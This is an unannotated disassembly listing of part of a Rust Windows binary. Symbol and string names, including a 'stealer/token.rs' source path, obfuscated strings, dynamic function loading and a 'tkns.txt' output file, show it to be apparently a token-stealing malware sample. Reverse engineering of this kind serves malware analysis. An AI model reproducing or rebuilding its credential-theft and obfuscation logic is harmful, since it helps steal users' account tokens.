pmovmskb r8d, xmm1
test r8d, r8d
jne 0x14006a54f
lea rcx, [r14 + 0x23]
mov r9d, eax
and r9b, 1
cmp rcx, r10
jae 0x14006a571
add r14, 0x10
test r9b, r9b
je 0x14006a510
jmp 0x14006a571
mov rcx, r15
mov rdx, r14
xor r9d, r9d
call sym.core::str::pattern::simd_contains::__u7b__u7b_closure_u7d__u7d_::h77177be5078d6ea5
mov r10, qword [rsp + 0x38]
jmp 0x14006a534
lea r15, [rsp + 0xd0]
mov rbx, qword [rsp + 0x78]
lea rcx, [rbx + r10]
add rcx, 0xffffffffffffffed
movdqu xmm0, xmmword [rbx + r10 - 0x13]
movdqu xmm1, xmmword [rbp + rcx]
pcmpeqb xmm0, xmm13
pcmpeqb xmm1, xmm14
pand xmm1, xmm0
pmovmskb r8d, xmm1
test r8d, r8d
jne 0x14006d88a
and al, 1
mov qword [rsp + 0x11b8], rdi
test al, al
jne 0x140069092
jmp 0x140068ed7
lea r15, [rsp + 0xd0]
movabs r14, 0x100002600
jmp 0x14006a635
mov eax, esi
and eax, 3
cmp eax, 1
lea r15, [rsp + 0xd0]
movabs r14, 0x100002600
jne 0x14006a635
mov rbx, qword [rsi - 1]
mov rdi, qword [rsi + 7]
mov rax, qword [rdi]
test rax, rax
je 0x14006a5fe
cmp qword [rsp + 0xd8], 0
mov r12, qword [rsp + 0x570]
je 0x14006a65e
mov r8, qword [rsp + 0xd0]
mov rcx, qword [0x1404a5110]
xor edx, edx
call fcn.14021a7bc
mov rcx, qword [rsp + 0xf8]
call sub.kernel32.dll_CloseHandle
mov rax, qword [rsp + 0x5e0]
mov qword [rsp + 0xa8], rax
mov rdx, qword [rsp + 0x5e8]
mov rax, qword [rsp + 0x5f0]
lea rcx, [rax + rax*2]
lea rcx, [rdx + rcx*8]
mov qword [rsp + 0xb0], rcx
test rax, rax
mov qword [rsp + 0x40], rdx
mov rsi, rdx
je 0x14006ae7d
lea rcx, [rsp + 0x1240]
mov rdx, r14
mov r8, rsi
call sym.alloc::raw_vec::RawVec_T_A_::reserve::do_reserve_and_handle::h004f958d7b3f8117
mov r14, qword [rsp + 0x1250]
jmp 0x140069192
lea rdx, [rax + 7]
and rdx, 0xfffffffffffffff8
sub rdx, rax
movdqa xmm2, xmmword [0x140397d40]
movdqa xmm3, xmmword [0x140397d50]
movabs r10, 0x8080808080808080
jne 0x14006d83e
lea r8, [rcx - 0x10]
xor edx, edx
jmp 0x14006d8bb
lea rdx, [rax + 7]
and rdx, 0xfffffffffffffff8
sub rdx, rax
movdqa xmm2, xmmword [0x140397d40]
movdqa xmm3, xmmword [0x140397d50]
movabs r10, 0x8080808080808080
jne 0x14006d864
lea r8, [rcx - 0x10]
xor edx, edx
jmp 0x14006de74
lea rax, [0x1403b4f0d]
mov qword [rsp + 0xd0], rax
mov rcx, qword [rsp + 0xd0]
mov dword [rsp + 0xd0], 0x602ab7b0
mov edx, dword [rsp + 0xd0]
call sym.obfstr::xref::inner::h3f08c4e0664696df
mov rcx, qword [rax]
movabs rdx, 0x70eec15ba8bbecac
xor rcx, rdx
movzx edx, byte [rax + 0xa]
movzx eax, word [rax + 8]
mov r8d, eax
shr r8d, 8
xor al, 0x19
xor r8b, 0x52
xor dl, 0x7b
mov qword [rsp + 0x5e0], rcx
mov byte [rsp + 0x5e8], al
mov byte [rsp + 0x5e9], r8b
mov byte [rsp + 0x5ea], dl
mov r8d, 0xb
lea rdi, [rsp + 0x1240]
mov rcx, rdi
lea rsi, [rsp + 0x5e0]
mov rdx, rsi
call sym.hello::utils::loader::LoadMod::new::h6aa09c92f5645740
cmp qword [rsp + 0x1240], rbp
jne 0x14006eaac
mov r14, qword [rsp + 0x1248]
lea rax, [0x1403b1b25]
mov qword [rsp + 0xd0], rax
mov rcx, qword [rsp + 0xd0]
mov dword [rsp + 0xd0], 0x96ec2d7f
mov edx, dword [rsp + 0xd0]
call sym.obfstr::xref::inner::hbc922a48d86d8a1e
mov rcx, qword [rax]
movabs rdx, 0xbc5fd95329cbf49f
xor rcx, rdx
mov rdx, qword [rax + 8]
movabs r8, 0x56c43596a9c6c7c9
xor rdx, r8
movzx eax, word [rax + 0x10]
mov r8d, eax
xor r8b, 0xd
shr eax, 8
xor al, 0x28
mov qword [rsp + 0x5e0], rcx
mov qword [rsp + 0x5e8], rdx
mov byte [rsp + 0x5f0], r8b
mov byte [rsp + 0x5f1], al
mov r9d, 0x12
mov rcx, rdi
mov qword [rsp + 0x58], r14
mov rdx, r14
mov r8, rsi
call sym.hello::utils::loader::LoadMod::get_function::he5f5b36109da995f
cmp qword [rsp + 0x1240], rbp
jne 0x14006eaf8
lea rax, [rbx + rbx*2]
mov r14, qword [rsp + 0x40]
lea rsi, [r14 + rax*8]
cmp qword [rsp + 0x70], r14
je 0x14006b139
mov rcx, qword [0x1404a5110]
xor edx, edx
mov r8, rbx
call fcn.14021a7bc
mov rdi, qword [rsp + 0x558]
mov rsi, qword [rsp + 0x560]
mov rbx, qword [rsp + 0x568]
cmp qword [rsp + 0x838], 0
je 0x14006cce8
mov rcx, qword [0x1404a5110]
xor edx, edx
mov r8, qword [rsp + 0x830]
call fcn.14021a7bc
mov rax, qword [rsp + 0x540]
mov r14, qword [rsp + 0x550]
sub rax, r14
cmp rax, rbx
jb 0x14006d81e
mov rcx, qword [rsp + 0x548]
add rcx, r14
mov rdx, rsi
mov r8, rbx
call sym.memcpy
add r14, rbx
mov qword [rsp + 0x550], r14
test rdi, rdi
je 0x14006cd3b
lea rcx, [rsp + 0x540]
mov rdx, r14
mov r8, rbx
call sym.alloc::raw_vec::RawVec_T_A_::reserve::do_reserve_and_handle::h004f958d7b3f8117
mov r14, qword [rsp + 0x550]
jmp 0x14006cd04
cmp rdx, rcx
cmovae rdx, rcx
xor r8d, r8d
cmp byte [rax + r8], 0xa
je 0x14006d900
inc r8
cmp rdx, r8
jne 0x14006d848
lea r8, [rcx - 0x10]
jmp 0x14006d8e7
cmp rdx, rcx
cmovae rdx, rcx
xor r8d, r8d
cmp byte [rax + r8], 0xa
je 0x14006deb9
inc r8
cmp rdx, r8
jne 0x14006d86e
lea r8, [rcx - 0x10]
jmp 0x14006dea0
lea rdx, [r10 - 0x13]
test r9b, r9b
mov rsi, rbx
setne bl
mov rcx, r15
call sym.core::str::pattern::simd_contains::__u7b__u7b_closure_u7d__u7d_::h77177be5078d6ea5
or al, bl
mov rbx, rsi
and al, 1
mov qword [rsp + 0x11b8], rdi
test al, al
jne 0x140069092
jmp 0x140068ed7
movdqu xmm0, xmmword [rax + rdx]
movdqa xmm1, xmm0
pxor xmm1, xmm2
paddq xmm1, xmm3
pandn xmm0, xmm1
pshufd xmm1, xmm0, 0xee
por xmm1, xmm0
movq r9, xmm1
test r9, r10
jne 0x14006d8f1
add rdx, 0x10
cmp rdx, r8
jbe 0x14006d8bb
jmp 0x14006d8f1
inc rdx
cmp rcx, rdx
je 0x1400686a1
cmp byte [rax + rdx], 0xa
jne 0x14006d8ee
mov qword [rsp + 0x5e0], 0
mov qword [rsp + 0x5e8], 1
mov qword [rsp + 0x5f0], 0
mov r8d, 0x4f
lea rcx, [rsp + 0x5e0]
xor edx, edx
call sym.alloc::raw_vec::RawVec_T_A_::reserve::do_reserve_and_handle::h004f958d7b3f8117
mov rsi, 0xffffffffffffffb1
mov rdi, qword [rsp + 0x5f0]
jmp 0x14006d966
mov rax, qword [rsp + 0x5e8]
mov byte [rax + rdi], 0x7e
inc rdi
mov qword [rsp + 0x5f0], rdi
inc rsi
je 0x14006d97f
cmp rdi, qword [rsp + 0x5e0]
jne 0x14006d94a
lea rcx, [rsp + 0x5e0]
call sym.alloc::raw_vec::RawVec_T_A_::grow_one::h300ed7d86b668954
jmp 0x14006d94a
mov rax, qword [rsp + 0x5f0]
mov qword [rsp + 0x590], rax
movdqu xmm0, xmmword [rsp + 0x5e0]
movdqa xmmword [rsp + 0x580], xmm0
mov r8d, 0x13
lea rbx, [rsp + 0x4d0]
mov rcx, rbx
lea rdx, str.regex_parse_error:_nerror:
call sym._ZN58__LT_alloc..string..String_u20_as_u20_core..fmt..Write_GT_9write_str17h94ef6ec67befc569E.11183
test al, al
lea rbp, [rsp + 0x5e0]
lea rdi, [rsp + 0xf90]
lea rsi, [sym._ZN60__LT_alloc..string..String_u20_as_u20_core..fmt..Display_GT_3fmt17h0a364b3164a9cb6eE.2149]
jne 0x14006ec9e
lea rax, [rsp + 0x580]
mov qword [rsp + 0xf90], rax
mov qword [rsp + 0xf98], rsi
lea rax, [0x1403f0650]
mov qword [rsp + 0x5e0], rax
mov qword [rsp + 0x5e8], 2
mov qword [rsp + 0x600], 0
mov qword [rsp + 0x5f0], rdi
mov qword [rsp + 0x5f8], 1
mov rcx, rbx
mov rdx, r14
mov r8, rbp
call sym.core::fmt::write::he86909a848b2a697
test al, al
jne 0x14006ec9e
lea r14, [rsp + 0xb50]
mov rcx, r14
lea rdx, [rsp + 0x900]
call sym.regex_syntax::error::Spans::notate::hcfe7ac1571b6ec15
mov qword [rsp + 0xf90], r14
lea r14, fcn.1400b83c0
mov qword [rsp + 0xf98], rsi
lea rax, [0x1404683e0]
mov qword [rsp + 0x5e0], rax
mov qword [rsp + 0x5e8], 1
mov qword [rsp + 0x600], 0
mov qword [rsp + 0x5f0], rdi
mov qword [rsp + 0x5f8], 1
mov rcx, rbx
mov rdx, r14
mov r8, rbp
call sym.core::fmt::write::he86909a848b2a697
test al, al
jne 0x14006ec7d
lea rax, [rsp + 0x580]
mov qword [rsp + 0xf90], rax
lea rax, [sym._ZN60__LT_alloc..string..String_u20_as_u20_core..fmt..Display_GT_3fmt17h0a364b3164a9cb6eE.2149]
mov qword [rsp + 0xf98], rax
lea rax, [0x1403f0650]
mov qword [rsp + 0x5e0], rax
mov qword [rsp + 0x5e8], 2
mov qword [rsp + 0x600], 0
mov qword [rsp + 0x5f0], rdi
mov qword [rsp + 0x5f8], 1
mov rcx, rbx
mov rdx, r14
lea r8, [rsp + 0x5e0]
call sym.core::fmt::write::he86909a848b2a697
test al, al
jne 0x14006ec7d
mov rax, qword [rsp + 0x928]
test rax, rax
je 0x14006ddc2
mov qword [rsp + 0x868], 0
mov qword [rsp + 0x870], 8
mov qword [rsp + 0x878], 0
mov rdi, qword [rsp + 0x920]
add rdi, 0x20
shl rax, 4
lea rbx, [rax + rax*2]
mov r15d, 8
xor r14d, r14d
xor esi, esi
lea rbp, [rsp + 0x5e0]
jmp 0x14006dbd2
mov rax, qword [rsp + 0x14b0]
mov qword [r15 + r14*2 + 0x10], rax
movdqu xmm0, xmmword [rsp + 0x14a0]
movdqu xmmword [r15 + r14*2], xmm0
inc rsi
mov qword [rsp + 0x878], rsi
add r14, 0xc
add rdi, 0x30
add rbx, 0xffffffffffffffd0
je 0x14006dcb0
lea rax, [rdi - 0x18]
lea rcx, [rdi - 0x10]
mov rdx, qword [rdi + 8]
dec rdx
mov qword [rsp + 0x520], rdx
mov qword [rsp + 0x5e0], rax
lea rdx, [sym.core::fmt::num::imp::__impl_core::fmt::Display_for_u64_::fmt::habbd8e64303c6dcd]
mov qword [rsp + 0x5e8], rdx
mov qword [rsp + 0x5f0], rcx
mov qword [rsp + 0x5f8], rdx
mov qword [rsp + 0x600], rdi
mov qword [rsp + 0x608], rdx
lea rax, [rsp + 0x520]
mov qword [rsp + 0x610], rax
mov qword [rsp + 0x618], rdx
lea rax, str.on_line___column___through_line_p
mov qword [rsp + 0xf90], rax
mov qword [rsp + 0xf98], 5
mov qword [rsp + 0xfb0], 0
mov qword [rsp + 0xfa0], rbp
mov qword [rsp + 0xfa8], 4
lea rcx, [rsp + 0x14a0]
lea rdx, [rsp + 0xf90]
call sym.alloc::fmt::format::format_inner::hb636fee45517645d
cmp rsi, qword [rsp + 0x868]
jne 0x14006db99
lea rcx, [rsp + 0x868]
call sym.alloc::raw_vec::RawVec_T_A_::grow_one::h71ceaccfe28cdad1
mov r15, qword [rsp + 0x870]
jmp 0x14006db99
mov rbx, qword [rsp + 0x870]
lea rdi, [rsp + 0xf90]
mov rcx, rdi
mov rdx, rbx
mov r8, rsi
call sym.alloc::str::join_generic_copy::h9c7d910de0333a56
mov qword [rsp + 0x520], rdi
lea rax, [sym._ZN60__LT_alloc..string..String_u20_as_u20_core..fmt..Display_GT_3fmt17h0a364b3164a9cb6eE.2149]
mov qword [rsp + 0x528], rax
lea rax, [0x1403f0650]
mov qword [rsp + 0x5e0], rax
mov qword [rsp + 0x5e8], 2
mov qword [rsp + 0x600], 0
lea rax, [rsp + 0x520]
mov qword [rsp + 0x5f0], rax
mov qword [rsp + 0x5f8], 1
lea rcx, [rsp + 0x4d0]
lea rdx, fcn.1400b83c0
mov r8, rbp
call sym._ZN4core3fmt9Formatter9write_fmt17h8e4b2cd3f8dbab27E.4751
mov r14d, eax
cmp qword [rsp + 0xf90], 0
je 0x14006dd73
mov r8, qword [rsp + 0xf98]
mov rcx, qword [0x1404a5110]
xor edx, edx
call fcn.14021a7bc
mov rbx, qword [rsp + 0x870]
mov rsi, qword [rsp + 0x878]
mov rcx, rbx
mov rdx, rsi
call sym.__alloc::vec::Vec_T_A__as_core::ops::drop::Drop_::drop::h1ee58b1432c5be8c
cmp qword [rsp + 0x868], 0
je 0x14006dd9a
mov rcx, qword [0x1404a5110]
xor edx, edx
mov r8, rbx
call fcn.14021a7bc
test r14b, r14b
lea rdi, [rsp + 0xf90]
lea r15, [rsp + 0xd0]
lea rbx, [rsp + 0x4d0]
lea r14, fcn.1400b83c0
jne 0x14006ec7d
lea rax, [rsp + 0x15e0]
mov qword [rsp + 0xf90], rax
lea rax, [sym.__T_as_core::fmt::Display_::fmt::ha85532e368e9f40f]
mov qword [rsp + 0xf98], rax
lea rax, [0x1403f0640]
mov qword [rsp + 0x5e0], rax
mov qword [rsp + 0x5e8], 1
mov qword [rsp + 0x600], 0
mov qword [rsp + 0x5f0], rdi
mov qword [rsp + 0x5f8], 1
mov rcx, rbx
mov rdx, r14
lea r8, [rsp + 0x5e0]
call sym.core::fmt::write::he86909a848b2a697
test al, al
jne 0x14006ec7d
cmp qword [rsp + 0xb50], 0
je 0x14006de58
mov r8, qword [rsp + 0xb58]
mov rcx, qword [0x1404a5110]
xor edx, edx
call fcn.14021a7bc
cmp qword [rsp + 0x580], 0
je 0x140068a17
mov r8, qword [rsp + 0x588]
jmp 0x140068a09
movdqu xmm0, xmmword [rax + rdx]
movdqa xmm1, xmm0
pxor xmm1, xmm2
paddq xmm1, xmm3
pandn xmm0, xmm1
pshufd xmm1, xmm0, 0xee
por xmm1, xmm0
movq r9, xmm1
test r9, r10
jne 0x14006deaa
add rdx, 0x10
cmp rdx, r8
jbe 0x14006de74
jmp 0x14006deaa
inc rdx
cmp rcx, rdx
je 0x14006881c
cmp byte [rax + rdx], 0xa
jne 0x14006dea7
mov qword [rsp + 0x5e0], 0
mov qword [rsp + 0x5e8], 1
mov qword [rsp + 0x5f0], 0
mov r8d, 0x4f
lea rcx, [rsp + 0x5e0]
xor edx, edx
call sym.alloc::raw_vec::RawVec_T_A_::reserve::do_reserve_and_handle::h004f958d7b3f8117
mov rsi, 0xffffffffffffffb1
mov rdi, qword [rsp + 0x5f0]
jmp 0x14006df1f
mov rax, qword [rsp + 0x5e8]
mov byte [rax + rdi], 0x7e
inc rdi
mov qword [rsp + 0x5f0], rdi
inc rsi
je 0x14006df38
cmp rdi, qword [rsp + 0x5e0]
jne 0x14006df03
lea rcx, [rsp + 0x5e0]
call sym.alloc::raw_vec::RawVec_T_A_::grow_one::h300ed7d86b668954
jmp 0x14006df03
mov rax, qword [rsp + 0x5f0]
mov qword [rsp + 0x590], rax
movdqu xmm0, xmmword [rsp + 0x5e0]
movdqa xmmword [rsp + 0x580], xmm0
mov r8d, 0x13
lea rbx, [rsp + 0x4d0]
mov rcx, rbx
lea rdx, str.regex_parse_error:_nerror:
call sym._ZN58__LT_alloc..string..String_u20_as_u20_core..fmt..Write_GT_9write_str17h94ef6ec67befc569E.11183
test al, al
lea rbp, [rsp + 0x5e0]
lea rdi, [rsp + 0xf90]
lea rsi, [sym._ZN60__LT_alloc..string..String_u20_as_u20_core..fmt..Display_GT_3fmt17h0a364b3164a9cb6eE.2149]
jne 0x14006ed22
lea rax, [rsp + 0x580]
mov qword [rsp + 0xf90], rax
mov qword [rsp + 0xf98], rsi
lea rax, [0x1403f0650]
mov qword [rsp + 0x5e0], rax
mov qword [rsp + 0x5e8], 2
mov qword [rsp + 0x600], 0
mov qword [rsp + 0x5f0], rdi
mov qword [rsp + 0x5f8], 1
mov rcx, rbx
mov rdx, r14
mov r8, rbp
call sym.core::fmt::write::he86909a848b2a697
test al, al
jne 0x14006ed22
lea r14, [rsp + 0xb50]
mov rcx, r14
lea rdx, [rsp + 0x900]
call sym.regex_syntax::error::Spans::notate::hcfe7ac1571b6ec15
mov qword [rsp + 0xf90], r14
lea r14, fcn.1400b83c0
mov qword [rsp + 0xf98], rsi
lea rax, [0x1404683e0]
mov qword [rsp + 0x5e0], rax
mov qword [rsp + 0x5e8], 1
mov qword [rsp + 0x600], 0
mov qword [rsp + 0x5f0], rdi
mov qword [rsp + 0x5f8], 1
mov rcx, rbx
mov rdx, r14
mov r8, rbp
call sym.core::fmt::write::he86909a848b2a697
test al, al
jne 0x14006ed01
lea rax, [rsp + 0x580]
mov qword [rsp + 0xf90], rax
lea rax, [sym._ZN60__LT_alloc..string..String_u20_as_u20_core..fmt..Display_GT_3fmt17h0a364b3164a9cb6eE.2149]
mov qword [rsp + 0xf98], rax
lea rax, [0x1403f0650]
mov qword [rsp + 0x5e0], rax
mov qword [rsp + 0x5e8], 2
mov qword [rsp + 0x600], 0
mov qword [rsp + 0x5f0], rdi
mov qword [rsp + 0x5f8], 1
mov rcx, rbx
mov rdx, r14
lea r8, [rsp + 0x5e0]
call sym.core::fmt::write::he86909a848b2a697
test al, al
jne 0x14006ed01
mov rax, qword [rsp + 0x928]
test rax, rax
je 0x14006e37b
mov qword [rsp + 0x868], 0
mov qword [rsp + 0x870], 8
mov qword [rsp + 0x878], 0
mov rdi, qword [rsp + 0x920]
add rdi, 0x20
shl rax, 4
lea rbx, [rax + rax*2]
mov r15d, 8
xor r14d, r14d
xor esi, esi
lea rbp, [rsp + 0x5e0]
jmp 0x14006e18b
mov rax, qword [rsp + 0x14b0]
mov qword [r15 + r14*2 + 0x10], rax
movdqu xmm0, xmmword [rsp + 0x14a0]
movdqu xmmword [r15 + r14*2], xmm0
inc rsi
mov qword [rsp + 0x878], rsi
add r14, 0xc
add rdi, 0x30
add rbx, 0xffffffffffffffd0
je 0x14006e269
lea rax, [rdi - 0x18]
lea rcx, [rdi - 0x10]
mov rdx, qword [rdi + 8]
dec rdx
mov qword [rsp + 0x520], rdx
mov qword [rsp + 0x5e0], rax
lea rdx, [sym.core::fmt::num::imp::__impl_core::fmt::Display_for_u64_::fmt::habbd8e64303c6dcd]
mov qword [rsp + 0x5e8], rdx
mov qword [rsp + 0x5f0], rcx
mov qword [rsp + 0x5f8], rdx
mov qword [rsp + 0x600], rdi
mov qword [rsp + 0x608], rdx
lea rax, [rsp + 0x520]
mov qword [rsp + 0x610], rax
mov qword [rsp + 0x618], rdx
lea rax, str.on_line___column___through_line_p
mov qword [rsp + 0xf90], rax
mov qword [rsp + 0xf98], 5
mov qword [rsp + 0xfb0], 0
mov qword [rsp + 0xfa0], rbp
mov qword [rsp + 0xfa8], 4
lea rcx, [rsp + 0x14a0]
lea rdx, [rsp + 0xf90]
call sym.alloc::fmt::format::format_inner::hb636fee45517645d
cmp rsi, qword [rsp + 0x868]
jne 0x14006e152
lea rcx, [rsp + 0x868]
call sym.alloc::raw_vec::RawVec_T_A_::grow_one::h71ceaccfe28cdad1
mov r15, qword [rsp + 0x870]
jmp 0x14006e152
mov rbx, qword [rsp + 0x870]
lea rdi, [rsp + 0xf90]
mov rcx, rdi
mov rdx, rbx
mov r8, rsi
call sym.alloc::str::join_generic_copy::h9c7d910de0333a56
mov qword [rsp + 0x520], rdi
lea rax, [sym._ZN60__LT_alloc..string..String_u20_as_u20_core..fmt..Display_GT_3fmt17h0a364b3164a9cb6eE.2149]
mov qword [rsp + 0x528], rax
lea rax, [0x1403f0650]
mov qword [rsp + 0x5e0], rax
mov qword [rsp + 0x5e8], 2
mov qword [rsp + 0x600], 0
lea rax, [rsp + 0x520]
mov qword [rsp + 0x5f0], rax
mov qword [rsp + 0x5f8], 1
lea rcx, [rsp + 0x4d0]
lea rdx, fcn.1400b83c0
mov r8, rbp
call sym._ZN4core3fmt9Formatter9write_fmt17h8e4b2cd3f8dbab27E.4751
mov r14d, eax
cmp qword [rsp + 0xf90], 0
je 0x14006e32c
mov r8, qword [rsp + 0xf98]
mov rcx, qword [0x1404a5110]
xor edx, edx
call fcn.14021a7bc
mov rbx, qword [rsp + 0x870]
mov rsi, qword [rsp + 0x878]
mov rcx, rbx
mov rdx, rsi
call sym.__alloc::vec::Vec_T_A__as_core::ops::drop::Drop_::drop::h1ee58b1432c5be8c
cmp qword [rsp + 0x868], 0
je 0x14006e353
mov rcx, qword [0x1404a5110]
xor edx, edx
mov r8, rbx
call fcn.14021a7bc
test r14b, r14b
lea rdi, [rsp + 0xf90]
lea r15, [rsp + 0xd0]
lea rbx, [rsp + 0x4d0]
lea r14, fcn.1400b83c0
jne 0x14006ed01
lea rax, [rsp + 0x15e0]
mov qword [rsp + 0xf90], rax
lea rax, [sym.__T_as_core::fmt::Display_::fmt::h5e98be4893f58ddd]
mov qword [rsp + 0xf98], rax
lea rax, [0x1403f0640]
mov qword [rsp + 0x5e0], rax
mov qword [rsp + 0x5e8], 1
mov qword [rsp + 0x600], 0
mov qword [rsp + 0x5f0], rdi
mov qword [rsp + 0x5f8], 1
mov rcx, rbx
mov rdx, r14
lea r8, [rsp + 0x5e0]
call sym.core::fmt::write::he86909a848b2a697
test al, al
jne 0x14006ed01
cmp qword [rsp + 0xb50], 0
je 0x14006e411
mov r8, qword [rsp + 0xb58]
mov rcx, qword [0x1404a5110]
xor edx, edx
call fcn.14021a7bc
cmp qword [rsp + 0x580], 0
je 0x140068bbf
mov r8, qword [rsp + 0x588]
jmp 0x140068bb1
movzx eax, byte [0x1404a5170]
mov edx, 0xb
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h5a8f05db6a24897c
test rax, rax
je 0x14006e742
mov rsi, rax
movabs rax, 0x2e736e6b742f6364
mov qword [rsi], rax
mov dword [rsi + 7], 0x7478742e
mov rbx, qword [rsp + 0x1210]
mov rdi, qword [rbx + 0x28]
cmp rdi, qword [rbx + 0x18]
movzx ebp, byte [rsp + 0x6e]
mov r14, qword [rsp + 0x1208]
mov r15, qword [rsp + 0x1200]
mov r12, qword [rsp + 0x11f8]
jne 0x14006e498
lea rcx, [rbx + 0x18]
call sym.alloc::raw_vec::RawVec_T_A_::grow_one::h1c9c6442661ae229
mov rax, qword [rbx + 0x20]
lea rcx, [rdi + rdi*2]
shl rcx, 4
mov qword [rax + rcx], 0xb
mov qword [rax + rcx + 8], rsi
mov qword [rax + rcx + 0x10], 0xb
movdqu xmm0, xmmword [rsp + 0x540]
movdqu xmmword [rax + rcx + 0x18], xmm0
mov rdx, qword [rsp + 0x550]
mov qword [rax + rcx + 0x28], rdx
inc rdi
mov qword [rbx + 0x28], rdi
test r14, r14
je 0x14006e5c8
test r15, r15
je 0x14006e59a
mov rsi, qword [rsp + 0x858]
movdqa xmm0, xmmword [rsi]
pmovmskb edi, xmm0
not edi
jmp 0x14006e51f
dec r15
lea eax, [rdi - 1]
and eax, edi
mov edi, eax
test r15, r15
je 0x14006e59a
test di, di
jne 0x14006e54f
nop word cs:[rax + rax]
movdqa xmm0, xmmword [r12]
pmovmskb edi, xmm0
add rsi, 0xfffffffffffffd00
add r12, 0x10
cmp edi, 0xffff
je 0x14006e530
not edi
tzcnt eax, edi
neg rax
lea rax, [rax + rax*2]
shl rax, 4
lea rbx, [rsi + rax]
cmp qword [rsi + rax - 0x30], 0
je 0x14006e57c
mov r8, qword [rbx - 0x28]
mov rcx, qword [0x1404a5110]
xor edx, edx
call fcn.14021a7bc
cmp qword [rbx - 0x18], 0
je 0x14006e510
mov r8, qword [rbx - 0x10]
mov rcx, qword [0x1404a5110]
xor edx, edx
call fcn.14021a7bc
jmp 0x14006e510
lea rax, [r14 + 1]
mov ecx, 0x30
mul rcx
add r14, rax
cmp r14, 0xffffffffffffffef
je 0x14006e5c8
mov r8, qword [rsp + 0x858]
sub r8, rax
mov rcx, qword [0x1404a5110]
xor edx, edx
call fcn.14021a7bc
cmp byte [rsp + 0x6f], 0
jne 0x14006e5e5
mov rcx, qword [0x1404a5110]
xor edx, edx
mov r8, qword [rsp + 0x860]
call fcn.14021a7bc
test bpl, bpl
jne 0x14006e600
mov rcx, qword [0x1404a5110]
xor edx, edx
mov r8, qword [rsp + 0x11f0]
call fcn.14021a7bc
movaps xmm6, xmmword [rsp + 0x1b10]
movaps xmm7, xmmword [rsp + 0x1b20]
movaps xmm8, xmmword [rsp + 0x1b30]
movaps xmm9, xmmword [rsp + 0x1b40]
movaps xmm10, xmmword [rsp + 0x1b50]
movaps xmm11, xmmword [rsp + 0x1b60]
movaps xmm12, xmmword [rsp + 0x1b70]
movaps xmm13, xmmword [rsp + 0x1b80]
movaps xmm14, xmmword [rsp + 0x1b90]
movaps xmm15, xmmword [rsp + 0x1ba0]
add rsp, 0x1bb8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov ecx, 1
mov edx, 7
call sym.alloc::raw_vec::handle_error::h5313441c9bd13595
mov ecx, 8
mov edx, 0x40
call sym.alloc::raw_vec::handle_error::h5313441c9bd13595
xor esi, esi
lea r8, str.hello_src_featureimpl_stealer_token.rs
mov ecx, 1
mov rdx, rsi
call sym.core::panicking::panic_bounds_check::ha5eba36dbaff2278
mov ecx, 1
mov edx, 5
call sym.alloc::raw_vec::handle_error::h5313441c9bd13595
mov qword [rsp + 0x15d0], 0
lea rax, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fgeneric_array_0.14.7_srclib.rs
mov qword [rsp + 0x20], rax
lea r8, [0x1403bf2a0]
lea rdx, [rsp + 0x14a0]
lea r9, [rsp + 0x15d0]
xor ecx, ecx
call sym.core::panicking::assert_failed::h9bcc269a0f084db5
lea r8, str.hello_src_featureimpl_stealer_token.rs
mov ecx, 0xf
mov rdx, rbx
call sym.core::slice::index::slice_end_index_len_fail::h829dac2b01cd87d1
mov ecx, 1
mov edx, 0xb
call sym.alloc::raw_vec::handle_error::h5313441c9bd13595
mov ecx, 1
mov edx, 6
call sym.alloc::raw_vec::handle_error::h5313441c9bd13595
mov rax, qword [rsp + 0xb58]
mov qword [rsp + 0x88], rax
mov rdx, qword [rsp + 0xb60]
mov rcx, qword [rsp + 0x88]
call sym.alloc::raw_vec::handle_error::h5313441c9bd13595
mov ecx, 1
mov edx, 0xe
call sym.alloc::raw_vec::handle_error::h5313441c9bd13595
mov ecx, 1
mov edx, 1
call sym.alloc::raw_vec::handle_error::h5313441c9bd13595
lea rax, [0x140444748]
mov qword [rsp + 0x20], rax
lea rcx, str.cannot_access_a_Thread_Local_Storage_value_during_or_after_destruction_rustc_3f5fd8dd41153bc5fdca9427e9e05be2c767ba23library_std_src_threadlocal.rs
lea r9, [0x140444690]
lea r8, [rsp + 0x15d0]
mov edx, 0x46
call sym.core::result::unwrap_failed::h9b9528a0a4171737
mov eax, 1
mov qword [rsp + 0x88], rax
mov qword [rsp + 0x38], rbx
mov rcx, qword [rsp + 0x88]
mov rdx, qword [rsp + 0x38]
call sym.alloc::raw_vec::handle_error::h5313441c9bd13595
call sym.alloc::raw_vec::capacity_overflow::h29d4877d33cf78a3
mov ecx, 1
mov edx, 0x11
call sym.alloc::raw_vec::handle_error::h5313441c9bd13595
jmp 0x14006e865
jmp 0x14006e8a2
mov ecx, 1
mov edx, 9
call sym.alloc::raw_vec::handle_error::h5313441c9bd13595
mov ecx, 1
mov edx, 8
call sym.alloc::raw_vec::handle_error::h5313441c9bd13595
mov ecx, 1
mov edx, 0xa
call sym.alloc::raw_vec::handle_error::h5313441c9bd13595
mov ecx, 1
mov edx, 0x14
call sym.alloc::raw_vec::handle_error::h5313441c9bd13595
mov ecx, 1
mov edx, 4
call sym.alloc::raw_vec::handle_error::h5313441c9bd13595
shl rax, 8
mov qword [rsp + 0xc8], rbx
mov rcx, qword [rsp + 0xc8]
mov qword [rsp + 0xd0], rcx
mov qword [rsp + 0xd8], rdi
mov qword [rsp + 0xe0], rsi
mov qword [rsp + 0xe8], rax
lea rax, str.hello_src_featureimpl_stealer_token.rs
jmp 0x14006e8d1
shl rax, 8
mov qword [rsp + 0xc8], rbx
mov rcx, qword [rsp + 0xc8]
mov qword [rsp + 0xd0], rcx
mov qword [rsp + 0xd8], rdi
mov qword [rsp + 0xe0], rsi
mov qword [rsp + 0xe8], rax
lea rax, str.hello_src_featureimpl_stealer_token.rs
mov qword [rsp + 0x20], rax
lea rcx, [0x140467a8e]
lea r9, sym.core::ptr::drop_in_place_std::env::VarError_::h46e7ce38f52ec155
lea r8, [rsp + 0xd0]
mov edx, 0x2b
call sym.core::result::unwrap_failed::h9b9528a0a4171737
ud2
mov ecx, 1
mov edx, 0x2000
call sym.alloc::raw_vec::handle_error::h5313441c9bd13595
lea r8, [0x14043ff88]
mov rdx, rsi
call sym.core::slice::index::slice_start_index_len_fail::h5f4d386d5ac67311
mov qword [rsp + 0xbd0], rsi
lea rax, str.hello_src_featureimpl_stealer_token.rs
jmp 0x14006e936
mov qword [rsp + 0x20], rax
lea rcx, [0x140467a8e]
